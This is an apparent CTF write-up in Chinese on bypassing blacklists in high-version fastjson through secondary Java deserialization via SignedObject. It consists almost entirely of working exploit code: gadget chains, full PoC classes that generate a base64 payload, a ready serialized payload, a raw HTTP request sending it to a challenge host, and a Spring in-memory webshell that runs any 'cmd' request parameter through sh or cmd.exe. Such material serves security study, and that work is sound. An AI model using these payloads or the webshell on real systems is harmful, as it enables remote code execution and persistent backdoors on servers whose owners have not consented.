fastjson高版本二次反序列化绕过
99
1
2
3
4
5
6
7
8
9
10
11
12
13
* 绕过第一次的TemplatesImpl黑名单检查
BadAttributeValueExpException#readObject
JSONOBJECT#toString
SignedObject#getObject
* 二次反序列化
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
* 绕过第一次的BadAttributeValueExpException黑名单检查
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class Poc {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
}
}
9
1
2
3
//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
9
1
2
3
//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
9
1
2
3
4
5
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
99
1
2
3
4
5
6
7
8
9
10
11
12
13
//JSONArray#toString
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
/*
EventListenerList -->
UndoManager#toString() -->
Vector#toString()
*/
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonArray1);
setValue(list, "listenerList", new Object[]{InternalError.class, manager});
9
1
2
HashMap hashMap = new HashMap();
hashMap.put(signedObject,list);
9
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAGmphdmEuc2VjdXJpdHkuU2lnbmVkT2JqZWN0Cf+9aCo81f8CAANbAAdjb250ZW50dAACW0JbAAlzaWduYXR1cmVxAH4AA0wADHRoZWFsZ29yaXRobXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdXIAAltCrPMX+AYIVOACAAB4cAAAAoKs7QAFc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABVsr+ur4AAAAxABgBAAFhBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEABjxpbml0PgEAAygpVgEABENvZGUMAAUABgoABAAIAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEABGNhbGMIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAClNvdXJjZUZpbGUBAAZhLmphdmEAIQACAAQAAAAAAAEAAQAFAAYAAQAHAAAAGgACAAEAAAAOKrcACbgADxIRtgAVV7EAAAAAAAEAFgAAAAIAF3B0AAExcHcBAHh1cQB+AAYAAAAuMCwCFGHhwai97CSOICAXprtFH03pkhEvAhRLXCmT8ks/rsDQZjpC2G86oQv3MXQAA0RTQXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdLE2xn2E6tZEAwAAeHB0ABdqYXZhLmxhbmcuSW50ZXJuYWxFcnJvcnNyABxqYXZheC5zd2luZy51bmRvLlVuZG9NYW5hZ2Vy4ysheUxxykICAAJJAA5pbmRleE9mTmV4dEFkZEkABWxpbWl0eHIAHWphdmF4LnN3aW5nLnVuZG8uQ29tcG91bmRFZGl0pZ5QulPblf0CAAJaAAppblByb2dyZXNzTAAFZWRpdHN0ABJMamF2YS91dGlsL1ZlY3Rvcjt4cgAlamF2YXguc3dpbmcudW5kby5BYnN0cmFjdFVuZG9hYmxlRWRpdAgNG47tAgsQAgACWgAFYWxpdmVaAAtoYXNCZWVuRG9uZXhwAQEBc3IAEGphdmEudXRpbC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwALZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAGRzcgAeY29tLmFsaWJhYmEuZmFzdGpzb24uSlNPTkFycmF5AAAAAAAAAAECAAFMAARsaXN0dAAQTGphdmEvdXRpbC9MaXN0O3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAF3BAAAAAFxAH4ABXhwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHB4AAAAAAAAAGRweHg=
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.shu;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /deser HTTP/1.1
Host: node.vnteam.cn:46870
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28484
payload=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%47%6d%70%68%64%6d%45%75%63%32%56%6a%64%58%4a%70%64%48%6b%75%55%32%6c%6e%62%6d%56%6b%54%32%4a%71%5a%57%4e%30%43%66%2b%39%61%43%6f%38%31%66%38%43%41%41%4e%62%41%41%64%6a%62%32%35%30%5a%57%35%30%64%41%41%43%57%30%4a%62%41%41%6c%7a%61%57%64%75%59%58%52%31%63%6d%56%78%41%48%34%41%41%30%77%41%44%48%52%6f%5a%57%46%73%5a%32%39%79%61%58%52%6f%62%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%33%68%77%64%58%49%41%41%6c%74%43%72%50%4d%58%2b%41%59%49%56%4f%41%43%41%41%42%34%63%41%41%41%46%2f%65%73%37%51%41%46%63%33%49%41%4f%6d%4e%76%62%53%35%7a%64%57%34%75%62%33%4a%6e%4c%6d%46%77%59%57%4e%6f%5a%53%35%34%59%57%78%68%62%69%35%70%62%6e%52%6c%63%6d%35%68%62%43%35%34%63%32%78%30%59%79%35%30%63%6d%46%34%4c%6c%52%6c%62%58%42%73%59%58%52%6c%63%30%6c%74%63%47%77%4a%56%30%2f%42%62%71%79%72%4d%77%4d%41%42%6b%6b%41%44%56%39%70%62%6d%52%6c%62%6e%52%4f%64%57%31%69%5a%58%4a%4a%41%41%35%66%64%48%4a%68%62%6e%4e%73%5a%58%52%4a%62%6d%52%6c%65%46%73%41%43%6c%39%69%65%58%52%6c%59%32%39%6b%5a%58%4e%30%41%41%4e%62%57%30%4a%62%41%41%5a%66%59%32%78%68%63%33%4e%30%41%42%4a%62%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%44%62%47%46%7a%63%7a%74%4d%41%41%56%66%62%6d%46%74%5a%58%51%41%45%6b%78%71%59%58%5a%68%4c%32%78%68%62%6d%63%76%55%33%52%79%61%57%35%6e%4f%30%77%41%45%56%39%76%64%58%52%77%64%58%52%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%64%41%41%57%54%47%70%68%64%6d%45%76%64%58%52%70%62%43%39%51%63%6d%39%77%5a%58%4a%30%61%57%56%7a%4f%33%68%77%41%41%41%41%41%50%2f%2f%2f%2f%39%31%63%67%41%44%57%31%74%43%53%2f%30%5a%46%57%64%6e%32%7a%63%43%41%41%42%34%63%41%41%41%41%41%46%31%63%67%41%43%57%30%4b%73%38%78%66%34%42%67%68%55%34%41%49%41%41%48%68%77%41%41%41%57%79%38%72%2b%75%72%34%41%41%41%41%30%41%50%67%4b%41%44![]()
![]()
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
* 绕过第一次的BadAttributeValueExpException黑名单检查
Hashmap#readobject -->
XString#equals -> toString
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
/**
* @className Poc2
* @Author shushu
* @Data 2025/2/9
**/
package org.shu.vnctf;
import com.alibaba.fastjson.JSONArray;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.shu.SpringMemShell;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;
import static org.shu.Poc.getFieldValue;
public class Poc2 {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//TemplatesImpl#getOutputProperties
// byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
//JSONArray#toString
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
List<Object> arrays = new ArrayList<>();
// arrays.add(signedObject);
// JSONArray jsonArray = new JSONArray();
// jsonArray.add(signedObject);
arrays.add(getXString(jsonArray1));
Map<String, Object> map = new HashMap<>();
map.put("yy", arrays);
byte[] serialize = serialize(map);
String payload = Base64.getEncoder().encodeToString(serialize);
System.out.println(payload);
deserialize(payload);
}
public static HashMap getXString(Object obj) throws Exception{
XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);
hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);
HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);
return hashMap;
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;
@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
String className = desc.getName();
String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
int var5 = denyClasses.length;
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass))
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
this.check = true;
return targetc;
}
}.readObject();
}
}
99
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
* 绕过第一次的BadAttributeValueExpException黑名单检查
Hashmap#readobject -->
HotSwappableTargetSource#equals ->
XString#equals -> toString
JSONArray#toString
SignedObject#getObject
* 二次反序列化绕过TemplatesImpl黑名单检查
* 引用绕过JSON自带resolveClass的黑名单检查
BadAttributeValueExpException#readObject
JSONArray#toString
TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
999
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
/**
* @className Poc2
* @Author shushu
* @Data 2025/2/9
**/
package org.shu.vnctf;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import org.shu.SpringMemShell;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.security.*;
import java.util.*;
import static org.shu.Poc.getFieldValue;
public class Poc2 {
public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
String sh ="Runtime.getRuntime().exec(\"" + cmd + "\");";
System.out.println(sh);
constructor.setBody(sh);
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
//TemplatesImpl#getOutputProperties
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
//JSONArray#toString
JSONArray jsonArray2 = new JSONArray();
jsonArray2.add(templates);
//BadAttributeValueExpException#readObject
BadAttributeValueExpException bd2 = new BadAttributeValueExpException(null);
setValue(bd2,"val",jsonArray2);
//二次反序列化
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray1);
// this.target 需要是一个 XString 对象
// 为防止 put 时提前命令执行,这里先不设置,随便 new 一个 HashMap 做参数
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new HashMap<>());
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(h1, "test1");
hashMap.put(h2, "test2");
// 反射设置 this.target 为 XString 对象
setValue(h2, "target", new XString("test"));
// Map<String, Object> map = new HashMap<>();
// map.put("yy", arrays);
byte[] serialize = serialize(hashMap);
String payload = Base64.getEncoder().encodeToString(serialize);
System.out.println(payload);
deserialize(payload);
}
public static HashMap getXString(Object obj) throws Exception{
XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("yy",xstring);
hashMap1.put("zZ",obj);
hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);
HashMap hashMap = new HashMap();
hashMap.put(hashMap1, 1);
hashMap.put(hashMap2, 2);
return hashMap;
}
public static Object makeTemplatesImplAopProxy(Templates templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
static Object deserialize(String data) throws Exception {
return new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(data))) { // from class: com.example.demo.DemoController.1
boolean check = false;
@Override // java.io.ObjectInputStream
protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class targetc = super.resolveClass(desc);
String className = desc.getName();
String[] denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
int var5 = denyClasses.length;
for (String denyClass : denyClasses) {
if (className.startsWith(denyClass))
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
this.check = true;
return targetc;
}
}.readObject();
}
}
热门文章
优秀作者
没有评论